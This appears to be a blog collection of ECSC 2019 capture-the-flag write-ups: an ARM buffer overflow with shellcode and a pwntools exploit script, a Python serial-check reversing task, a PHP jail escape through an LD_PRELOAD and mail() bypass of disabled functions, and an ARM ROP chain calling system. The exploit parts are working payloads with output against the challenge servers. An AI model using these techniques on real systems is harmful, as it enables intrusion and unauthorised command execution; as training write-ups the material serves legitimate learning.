06 Jul 2019
nc harmless.ecsc 4001
category: pwn - 50
An ARM file is attached to the description.
# file harmless
harmless: ELF 32-bit LSB executable, ARM, EABI5 version 1 ( SYSV) , dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]= 178af1dac64991bbb0c54613d9c12c39e1fc231f, not stripped
Using gdb-multiarch , we can retrieve the instructions with disas
, but here for more simplicity I’ll output the decompiled code with IDA:
Look’s like we can overflow in every variable… You can notice that if we say “Y” to the “Are you a developper?” question, the program display variable addresses. So we will try to go in the branch.
Moreover, I manage to find the entry length that makes an error on the server:
# python -c "print 'a\n' + 'a\n' + 'Y\n' + 'a'*171 + '\n'" | qemu-arm ./harmless
Hello, and welcome to ECSC!
My name is Michel.
What's your name?
>> Nice to meet you a. How old are you?
>> Are you a developper? [Y/N]
>> This might be useful for you:
username: 0xfffef280
age: 0xfffef27c
dev: 0xfffef278
comment: 0xfffef1f8
Feel free to drop us a short comment about this CTF.
>> Thanks for your feedback!
Bye.
# python -c "print ' a\n ' + ' a\n ' + ' Y\n ' + ' a'*172 + ' \n '" | qemu-arm ./harmless
Hello, and welcome to ECSC!
My name is Michel.
What' s your name?
>> Nice to meet you a. How old are you?
>> Are you a developper? [ Y/N]
>> This might be useful for you:
username: 0xfffee580
age: 0xfffee57c
dev: 0xfffee578
comment: 0xfffee4f8
Feel free to drop us a short comment about this CTF.
>> Thanks for your feedback!
Bye.
qemu: uncaught target signal 4 ( Illegal instruction) - core dumped
Illegal instruction
As you can see, it throws an error because we manage to write a \x00
in the return address.
Okay we have all we need.
First we are going to go in the developer branch. Then we put a shellcode on the v4 variable (the comment variable) and we have to overflow writing the address of v4 in the return address (&v4).
This is the commented code in python doing these steps:
from pwn import *
import struct
# Our Shellcode -> http://shell-storm.org/shellcode/files/shellcode-904.php
# I tried another shellcode (31 bytes) but this one was not working
shellcode = " \x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68 "
conn = remote ( 'harmless.ecsc' , 4001 )
# Send username, age, and say that we are developer
print conn . recvuntil ( '>>' , drop = True ) + '>> a'
conn . sendline ( 'a' )
print conn . recvuntil ( '>> ' , drop = True ) + '>> a'
conn . sendline ( 'a' )
print conn . recvuntil ( '>> ' , drop = True ) + '>> Y'
conn . sendline ( 'Y' )
# Get the variables addresses
res = conn . recvuntil ( '>> ' , drop = True ) + '>> '
print res
# Get the address of the comment variable (&v4)
val = int ( res [ res . find ( 'comment: ' ) + 9 : res . find ( 'comment: ' ) + 9 + 10 ], 16 )
# Create our payload to overflow
payload = shellcode + 'a' * ( 172 - len ( shellcode )) + struct . pack ( '<I' , val )
conn . sendline ( payload )
# Interactive mode
conn . interactive ()
And the output:
# python script.py
[ +] Opening connection to harmless.ecsc on port 4001: Done
Hello, and welcome to ECSC!
My name is Michel.
What's your name?
>> a
Nice to meet you a. How old are you?
>> a
Are you a developper? [Y/N]
>> Y
This might be useful for you:
username: 0xfffef250
age: 0xfffef24c
dev: 0xfffef248
comment: 0xfffef1c8
Feel free to drop us a short comment about this CTF.
>>
[*] Switching to interactive mode
Thanks for your feedback!
Bye.
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls
flag
harmless
run.sh
$ cat flag
lh_fc6edd667efb8ce882565f7dbfcd4dc1ea65d411eb6e7e0ba0ad3c156d0719fc
Yeah ! the flag is lh_fc6edd667efb8ce882565f7dbfcd4dc1ea65d411eb6e7e0ba0ad3c156d0719fc
13 May 2019
description: Retrouver le numéro de série pour valider le challenge
category: reverse - 484
A zip file is attached to the description.
The zip file contains a .exe and some .pyd (dll) files.
Looking to IDA strings, I found some interesting things:
Also, I found interesting things with strings
:
# strings check_serial.exe | grep check
incorrect header check
incorrect data check
incorrect length check
sfake_check <---- interesting
With these information, we can guess some python scripts are packed in the PE and executed in a VM with python37.dll
I found a tool on github to extract these files:
# ls -l
total 1188
-rw-r--r-- 1 root root 1513 May 15 20:32 fake_check
-rw-r--r-- 1 root root 4171 May 15 20:32 pyiboot01_bootstrap
-rw-r--r-- 1 root root 1838 May 15 20:32 pyimod01_os_path
-rw-r--r-- 1 root root 9381 May 15 20:32 pyimod02_archive
-rw-r--r-- 1 root root 18701 May 15 20:32 pyimod03_importers
-rw-r--r-- 1 root root 1161295 May 15 20:32 PYZ-00.pyz
-rw-r--r-- 1 root root 357 May 15 20:32 struct
It is PYC file but the header is missing, I tried some tools but it didnt work well, then I found an online decompiler .
This is the fake_check.py file:
passwd = [
432 , 360 , 264 , 184 , 56 , 344 , 340 , 268 , 280 , 172 , 64 , 300 , 320 , 356 , 356 , 296 , 328 , 504 , 356 , 276 , - 4 , 348 , 52 , 304 , 256 , 264 , 184 , 48 , 280 , 344 , 312 , 168 , 296 , - 4 , 128 , 256 , 264 , 184 , 40 , 296 , 340 , 52 , 280 , 80 , 504 , 300 , 296 ]
p = [ 43 , 8 , 26 , 11 , 3 , 1 , 46 , 10 , 28 , 23 , 13 , 33 , 0 , 45 , 34 , 37 , 16 , 5 , 36 , 32 , 9 , 4 , 20 , 19 , 25 , 22 , 17 , 7 , 27 , 14 , 42 , 41 , 18 , 2 , 6 , 40 , 30 , 29 , 15 , 21 , 44 , 24 , 39 , 12 , 35 , 38 , 31 ]
def check ( serial ):
global p
global passwd
serialsize = len ( serial )
key = 'Complex is better than complicated'
result = []
for i in range ( serialsize ):
result . append ((( serial [ p [ i ]] ^ key [( i % len ( key ))]) << 2 ) - 4 )
return result == passwd
def successful ( serial ):
print ( 'Good job! \n ECSC}' . format ( serial . decode ( 'utf-8' )))
def defeated ():
print ( 'Not really' )
def main ():
import pytector
serial = input ( 'Serial number: ' ) . encode ( 'utf-8' )
if check ( serial ):
successful ( serial )
else :
defeated ()
if __name__ == '__main__' :
main ()
I don’t know why but the script it XORing 2 char and it throws an error… I patched it adding the ord
function, but I actually don’t know how it is working in…
Okay the check function is easy to bruteforce (and we can guess the flag length: 47):
import string
passwd = [ 432 , 360 , 264 , 184 , 56 , 344 , 340 , 268 , 280 , 172 , 64 , 300 , 320 , 356 , 356 , 296 , 328 , 504 , 356 , 276 , - 4 , 348 , 52 , 304 , 256 , 264 , 184 , 48 , 280 , 344 , 312 , 168 , 296 , - 4 , 128 , 256 , 264 , 184 , 40 , 296 , 340 , 52 , 280 , 80 , 504 , 300 , 296 ]
p = [ 43 , 8 , 26 , 11 , 3 , 1 , 46 , 10 , 28 , 23 , 13 , 33 , 0 , 45 , 34 , 37 , 16 , 5 , 36 , 32 , 9 , 4 , 20 , 19 , 25 , 22 , 17 , 7 , 27 , 14 , 42 , 41 , 18 , 2 , 6 , 40 , 30 , 29 , 15 , 21 , 44 , 24 , 39 , 12 , 35 , 38 , 31 ]
def uncheck ( serial , i ):
global p
global passwd
serialsize = len ( serial )
key = 'Complex is better than complicated'
result = (( ord ( serial [ p [ i ]]) ^ ord ( key [( i % len ( key ))])) << 2 ) - 4
return result == passwd [ i ]
def bruteforce_check ():
global p
global passwd
result = "?" * 47
for i in range ( 47 ):
for j in string . printable :
tmp = list ( result )
tmp [ p [ i ]] = j
result = '' . join ( tmp )
if uncheck ( result , i ):
break
return result
if __name__ == '__main__' :
serial = bruteforce_check ()
print ( serial )
This is our output:
42dc6_ba4ad_f14g!_....._....._....._....._.....
Well it seems that this is not the correct flag.
Looking closely to the fake_check.py code, we forgot the import pytector
line…
Okay let’s see the pytector.pyd (in the initial .zip).
This strings lead us to some code modifying the fake_check during its execution.
The passwd table is modified:
The p table is modified:
And the check function bytecodes is modified too:
It is possible to do it in static but I prefer the dynamic way.
You cannot modify the check function (for example add some print) because the pytector will detect it and won’t work.
I added the pdb
module to debug the script:
passwd = [
432 , 360 , 264 , 184 , 56 , 344 , 340 , 268 , 280 , 172 , 64 , 300 , 320 , 356 , 356 , 296 , 328 , 504 , 356 , 276 , - 4 , 348 , 52 , 304 , 256 , 264 , 184 , 48 , 280 , 344 , 312 , 168 , 296 , - 4 , 128 , 256 , 264 , 184 , 40 , 296 , 340 , 52 , 280 , 80 , 504 , 300 , 296 ]
p = [ 43 , 8 , 26 , 11 , 3 , 1 , 46 , 10 , 28 , 23 , 13 , 33 , 0 , 45 , 34 , 37 , 16 , 5 , 36 , 32 , 9 , 4 , 20 , 19 , 25 , 22 , 17 , 7 , 27 , 14 , 42 , 41 , 18 , 2 , 6 , 40 , 30 , 29 , 15 , 21 , 44 , 24 , 39 , 12 , 35 , 38 , 31 ]
def check ( serial ):
global p
global passwd
serialsize = len ( serial )
key = 'Complex is better than complicated'
result = []
for i in range ( serialsize ):
result . append ((( serial [ p [ i ]] ^ key [( i % len ( key ))]) << 2 ) - 4 )
return result == passwd
def successful ( serial ):
print ( 'Good job! \n ECSC}' . format ( serial . decode ( 'utf-8' )))
def defeated ():
print ( 'Not really' )
def main ():
import pytector
import pdb ; pdb . set_trace ()
serial = "b" * 47
if check ( serial ):
successful ( serial )
else :
defeated ()
if __name__ == '__main__' :
main ()
This is what I’ve done in the debugger:
# python fake_check.py
> c:\u sers\i euser\d esktop\n ew\d ist\f ake_check.py( 26) main()
-> serial = "b" * 47
( Pdb) print( p)
[ 12, 36, 23, 17, 27, 34, 18, 25, 33, 42, 22, 21, 45, 20, 35, 13, 30, 38, 31, 28, 26, 10, 44, 29, 9, 11, 2, 4, 14, 1, 37, 15, 41, 19, 39, 24, 6, 7, 46, 32, 5, 8, 0, 3, 16, 43, 40]
( Pdb) print( passwd)
[ 1147, 1778, 1721, 1929, 1821, 1680, 2064, 654, 1822, 1842, 651, 1602, 1627, 1952, 1865, 1629, 1899, 608, 1951, 1755, 1610, 1711, 611, 1689, 1774, 1721, 1931, 1823, 1739, 1582, 1619, 1954, 1593, 1693, 1149, 1772, 1802, 1932, 1739, 1680, 2057, 604, 1824, 1834, 608, 1598, 1628]
( Pdb) print( check.__code__.co_varnames)
( 'serial' , 'serialsize' , 'key' , 'result' , 'i' )
( Pdb) print( check.__code__.co_consts)
( None, 'Complex is better than complicated' , 4, 42)
( Pdb) print( check.__code__.co_names)
( 'len' , 'range' , 'append' , 'p' , 'passwd' )
( Pdb) print( check.__code__.co_code)
b't\x00|\x00\x83\x01}\x01d\x01}\x02g\x00}\x03x:t\x01|\x01\x83\x01D\x00].}\x04|\x03\xa0\x02|\x00t\x03|\x04\x19\x00\x19\x00|\x02|\x04t\x00|\x02\x83\x01\x16\x00\x19\x00d\x02>\x00A\x00d\x03\x17\x00\xa1\x01\x01\x00q\x1aW\x00|\x03t\x04k\x02S\x00'
Okay we have everything we need. Using the dis
module we can disassemble the co_code:
>>> import dis
>>> a = b 't \x00 | \x00\x83\x01 } \x01 d \x01 } \x02 g \x00 } \x03 x:t \x01 | \x01\x83\x01 D \x00 ].} \x04 | \x03\xa0\x02 | \x00 t \x03 | \x04\x19\x00\x19\x00 | \x02 | \x04 t \x00 | \x02\x83\x01\x16\x00\x19\x00 d \x02 > \x00 A \x00 d \x03\x17\x00\xa1\x01\x01\x00 q \x1a W \x00 | \x03 t \x04 k \x02 S \x00 '
>>> dis . dis ( a )
0 LOAD_GLOBAL 0 ( 0 )
2 LOAD_FAST 0 ( 0 )
4 CALL_FUNCTION 1
6 STORE_FAST 1 ( 1 )
8 LOAD_CONST 1 ( 1 )
10 STORE_FAST 2 ( 2 )
12 BUILD_LIST 0
14 STORE_FAST 3 ( 3 )
16 SETUP_LOOP 58 ( to 76 )
18 LOAD_GLOBAL 1 ( 1 )
20 LOAD_FAST 1 ( 1 )
22 CALL_FUNCTION 1
24 GET_ITER
>> 26 FOR_ITER 46 ( to 74 )
28 STORE_FAST 4 ( 4 )
30 LOAD_FAST 3 ( 3 )
32 LOAD_METHOD 2 ( 2 )
34 LOAD_FAST 0 ( 0 )
36 LOAD_GLOBAL 3 ( 3 )
38 LOAD_FAST 4 ( 4 )
40 BINARY_SUBSCR
42 BINARY_SUBSCR
44 LOAD_FAST 2 ( 2 )
46 LOAD_FAST 4 ( 4 )
48 LOAD_GLOBAL 0 ( 0 )
50 LOAD_FAST 2 ( 2 )
52 CALL_FUNCTION 1
54 BINARY_MODULO
56 BINARY_SUBSCR
58 LOAD_CONST 2 ( 2 )
60 BINARY_LSHIFT
62 BINARY_XOR
64 LOAD_CONST 3 ( 3 )
66 BINARY_ADD
68 CALL_METHOD 1
70 POP_TOP
72 JUMP_ABSOLUTE 26
>> 74 POP_BLOCK
>> 76 LOAD_FAST 3 ( 3 )
78 LOAD_GLOBAL 4 ( 4 )
80 COMPARE_OP 2 ( == )
82 RETURN_VALUE
Nice, all we have to do is to read this.
I added comments to understand it:
(PS:
LOAD_CONST index -> load co_consts[index]
LOAD_GLOBAL index -> load co_names[index]
LOAD_FAST index -> load co_varnames[index])
0 LOAD_GLOBAL 0 ( 0) # load len
2 LOAD_FAST 0 ( 0) # load serial
4 CALL_FUNCTION 1 # call len(serial)
6 STORE_FAST 1 ( 1) # serialsize = len(serial)
8 LOAD_CONST 1 ( 1) # load 'Complex is better than complicated'
10 STORE_FAST 2 ( 2) # key = 'Complex is better than complicated'
12 BUILD_LIST 0 # []
14 STORE_FAST 3 ( 3) # result = []
16 SETUP_LOOP 58 ( to 76)
18 LOAD_GLOBAL 1 ( 1) # range
20 LOAD_FAST 1 ( 1) # serialsize
22 CALL_FUNCTION 1 # call range
24 GET_ITER
>> 26 FOR_ITER 46 ( to 74) # start for
28 STORE_FAST 4 ( 4) # i
30 LOAD_FAST 3 ( 3) # result
32 LOAD_METHOD 2 ( 2) # result.append()
34 LOAD_FAST 0 ( 0) # serial
36 LOAD_GLOBAL 3 ( 3) # serial[p]
38 LOAD_FAST 4 ( 4) # sesrial[p[i]]
40 BINARY_SUBSCR # serial[p[i]]
42 BINARY_SUBSCR # serial[p[i]]
44 LOAD_FAST 2 ( 2) # key
46 LOAD_FAST 4 ( 4) # key[i]
48 LOAD_GLOBAL 0 ( 0) # len
50 LOAD_FAST 2 ( 2) # key[i % len(key)]
52 CALL_FUNCTION 1 # key[i % len(serialsize)]
54 BINARY_MODULO # key[i % len(serialsize)]
56 BINARY_SUBSCR # key[i % len(serialsize)]
58 LOAD_CONST 2 ( 2) # key[i % len(serialsize)] << 4
60 BINARY_LSHIFT
62 BINARY_XOR # (serial[p[i]] ^ key[i % len(serialsize)] << 4)
64 LOAD_CONST 3 ( 3) # 42
66 BINARY_ADD # (serial[p[i]] ^ key[i % len(serialsize)] << 4) + 42
68 CALL_METHOD 1
70 POP_TOP
72 JUMP_ABSOLUTE 26
>> 74 POP_BLOCK # Same than original file
>> 76 LOAD_FAST 3 ( 3)
78 LOAD_GLOBAL 4 ( 4)
80 COMPARE_OP 2 (==)
82 RETURN_VALUE
Okay we have the new code, we can finaly get the flag:
import string
p = [ 12 , 36 , 23 , 17 , 27 , 34 , 18 , 25 , 33 , 42 , 22 , 21 , 45 , 20 , 35 , 13 , 30 , 38 , 31 , 28 , 26 , 10 , 44 , 29 , 9 , 11 , 2 , 4 , 14 , 1 , 37 , 15 , 41 , 19 , 39 , 24 , 6 , 7 , 46 , 32 , 5 , 8 , 0 , 3 , 16 , 43 , 40 ]
passwd = [ 1147 , 1778 , 1721 , 1929 , 1821 , 1680 , 2064 , 654 , 1822 , 1842 , 651 , 1602 , 1627 , 1952 , 1865 , 1629 , 1899 , 608 , 1951 , 1755 , 1610 , 1711 , 611 , 1689 , 1774 , 1721 , 1931 , 1823 , 1739 , 1582 , 1619 , 1954 , 1593 , 1693 , 1149 , 1772 , 1802 , 1932 , 1739 , 1680 , 2057 , 604 , 1824 , 1834 , 608 , 1598 , 1628 ]
def uncheck ( serial , i ):
global p
global passwd
serialsize = len ( serial )
key = 'Complex is better than complicated'
result = ( ord ( serial [ p [ i ]]) ^ ( ord ( key [( i % len ( key ))]) << 4 )) + 42
return result == passwd [ i ]
def bruteforce_check ():
global p
global passwd
result = "?" * 47
for i in range ( 47 ):
for j in string . printable :
tmp = list ( result )
tmp [ p [ i ]] = j
result = '' . join ( tmp )
if uncheck ( result , i ):
break
return result
if __name__ == '__main__' :
serial = bruteforce_check ()
print ( serial )
And the output:
# python final.py
f4a05_0b24e_ac186_f368a_2d031_a56d6_896cb_849aa
This is the good flag: ECSC{f4a05_0b24e_ac186_f368a_2d031_a56d6_896cb_849aa}
13 May 2019
description: Saurez-vous sortir de cette prison PHP pour retrouver le fichier flag présent sur le système ?
category: misc - 288
The challenge is giving us a command to interact with the service: nc challenges.ecsc-teamfrance.fr 4002
.
# nc challenges.ecsc-teamfrance.fr 4002
/// PHP JAIL ////
There's a file named flag on this filesystem.
Find it.
Read it.
Flag it.
Enter your command:
Too slow!
Bye!
We can execute a php command and it will be executed. Let’s see the phpinfo (I deleted useless lines):
# python -c "print 'phpinfo();'" | nc challenges.ecsc-teamfrance.fr 4002
[ ...]
disable_functions => system, exec , shell_exec, passthru, show_source, popen, proc_open, fopen_with_path, dbmopen, dbase_open, move_uploaded_file, chdir, mkdir, rmdir, rename, filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo, fopen, fread, file_get_contents, readfile, opendir, readdir, scandir, glob, file, dir, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix, _getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname, posix_uname, virtual, openlog, closelog, ini_set, ini_restore, ignore_user_abort, link, pcntl_alarm, pcntl_exec, pcntl_fork, pcntl_get_last_error, pcntl_getpriority, pcntl_setpriority, pcntl_signal, pcntl_signal_dispatch, pcntl_sigprocmask, pcntl_sigtimedwait, pcntl_sigwaitinfo, pcntl_strerror, pcntl_wait, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig, ftp_connect, ftp_exec, ftp_get, ftp_login, ftp_nb_fput, ftp_put, ftp_raw, ftp_rawlist, is_dir => system, exec , shell_exec, passthru, show_source, popen, proc_open, fopen_with_path, dbmopen, dbase_open, move_uploaded_file, chdir, mkdir, rmdir, rename, filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo, fopen, fread, file_get_contents, readfile, opendir, readdir, scandir, glob, file, dir, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix, _getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname, posix_uname, virtual, openlog, closelog, ini_set, ini_restore, ignore_user_abort, link, pcntl_alarm, pcntl_exec, pcntl_fork, pcntl_get_last_error, pcntl_getpriority, pcntl_setpriority, pcntl_signal, pcntl_signal_dispatch, pcntl_sigprocmask, pcntl_sigtimedwait, pcntl_sigwaitinfo, pcntl_strerror, pcntl_wait, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig, ftp_connect, ftp_exec, ftp_get, ftp_login, ftp_nb_fput, ftp_put, ftp_raw, ftp_rawlist, is_dir
[ ...]
Ofc we can’t use system
, shell_exec
, etc…
But mail()
and putenv()
are enabled so we can execute a command using LD_PRELOAD
because mail()
is calling execve()
.
To understand clearly you can read this post
So we will use this github tool
# cat rev.sh
#!/bin/sh
find / -name flag
# python chankro.py --arch 64 --input rev.sh --output chan.php --path /tmp
-=[ Chankro ]= -
-={ @TheXC3LL }= -
[ +] Binary file: rev.sh
[ +] Architecture: x64
[ +] Final PHP: chan.php
[ +] File created!
Then I modify the file so the payload is stored on 1 line (the line must end with an \n
else the command won’t be executed) and we send it using nc
:
# cat chan.php | nc challenges.ecsc-teamfrance.fr 4002
/// PHP JAIL ////
There's a file named flag on this filesystem.
Find it.
Read it.
Flag it.
Enter your command: /home/user0/.sensitive/randomdir/flag
/usr/local/lib/python2.7/dist-packages/pwnlib/flag
Bye!
Nice, all we have to do is to change rev.sh
, regenerate the chan.php
file and send it to the serveur:
# cat rev.sh
#!/bin/sh
cat /home/user0/.sensitive/randomdir/flag
# python chankro.py --arch 64 --input rev.sh --output chan.php --path /tmp
-=[ Chankro ]= -
-={ @TheXC3LL }= -
[ +] Binary file: rev.sh
[ +] Architecture: x64
[ +] Final PHP: chan.php
[ +] File created!
// Modify chan.php so the payload is stored on 1 line and ending with '\n'
# cat chan.php | nc challenges.ecsc-teamfrance.fr 4002
/// PHP JAIL ////
There's a file named flag on this filesystem.
Find it.
Read it.
Flag it.
Enter your command: ECSC{22b1843abfd76008ce3683e583c66e85c6bbdc65}
Bye!
The flag is ECSC{22b1843abfd76008ce3683e583c66e85c6bbdc65}
13 May 2019
description: Exploitez le binaire fourni pour en extraire flag.
nc challenges.ecsc-teamfrance.fr 4004
category: pwn - 394
An ARM file is attached to the description.
Using gdb-multiarch, we can retrieve the instructions:
Okay, so we can control lr
.
I tried to find "/bin/sh"
unsuccessfully but I found "/bin/cat"
instead (at 0x733fc):
All we need now is to put "/bin/cat"
in r0
before calling system
.
We need the address of system
to execute our cat
command:
p system
$3 = { <text variable, no debug info>} 0x171c4 <system>
I used ROPgadget to find some gadgets:
# python ROPgadget.py --binary ../armigo | grep ": pop {r0"
0x000703c8 : pop { r0, lr} ; bx lr
0x000703c8 : pop { r0, lr} ; bx lr ; str lr, [ sp, #-8]! ; bl #0x703d4 ; moveq r0, #1 ; movne r0, #0 ; ldr lr, [sp], #8 ; bx lr
[ ...]
0x00027504 : pop { r0, r4, lr} ; bx lr
0x00070394 : pop { r0} ; bx lr
Well, the first one is perfect for our purpose (at 0x703c8).
So we will overflow, put our rop gadget address in lr
, then put address of "/bin/cat"
in r0
and jump to system
. This is our payload:
# python -c "print 'a'*68 + '\xc8\x03\x07\x00' + '\xfc\x33\x07\x00' + '\xc4\x71\x01\x00'" | nc challenges.ecsc-teamfrance.fr 4004
Hello, what's your name?
Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�!
ECSC{83f0ffc67a36bb6573e8c466e22b672e678df3bf}
Finally, the flag is ECSC{83f0ffc67a36bb6573e8c466e22b672e678df3bf}